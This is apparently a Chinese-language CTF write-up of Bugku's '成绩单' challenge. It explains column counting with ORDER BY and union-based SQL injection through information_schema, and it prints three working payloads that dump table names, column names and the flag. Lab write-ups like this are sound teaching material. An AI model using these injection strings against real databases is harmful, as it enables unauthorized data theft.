CTF之Bugku 成绩单

这道题很久之前就看到过了，现在才弄明白。。。
这么输入有回显

这么输入就没有了，为什么呢
当我们用查询语句

select * from emp
order by x

假如emp这个表的字段有10个，那么x的值就只能是1-10
如果超过10，就不回显
所以说明显示只有4列，并没有隐藏什么

接下来就是爆库、爆表、包字段了

数据库叫skctf_flag，database()函数可以返回当前的数据库名
然后爆表

' union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES 
where TABLE_SCHEMA='skctf_flag'#

解释一下，我们用的数据库除了我们存放的信息，还有数据库（mysql、oracle）自带的库，叫information_schema库，里面有一些自带的表，如上面用到的TABLES表，有两个字段，一个叫TABLE_NAME，一个叫TABLE_SCHEMA，分别存放表名和这个表所属的库。

group_concat()函数功能是把一列的内容全部输出，像我们爆表的时候就爆了两个还有个叫sc的表

详细可以看看这个博客写的东西
https://blog.csdn.net/kikajack/article/details/80065753

现在爆出表，叫fl4g，爆字段

' union select 1,group_concat(COLUMN_NAME),3,4 from information_schema.COLUMNS 
where TABLE_NAME='fl4g'#

名字竟然一样。。爆数据

' union select 1,skctf_flag,3,4 from fl4g#

完结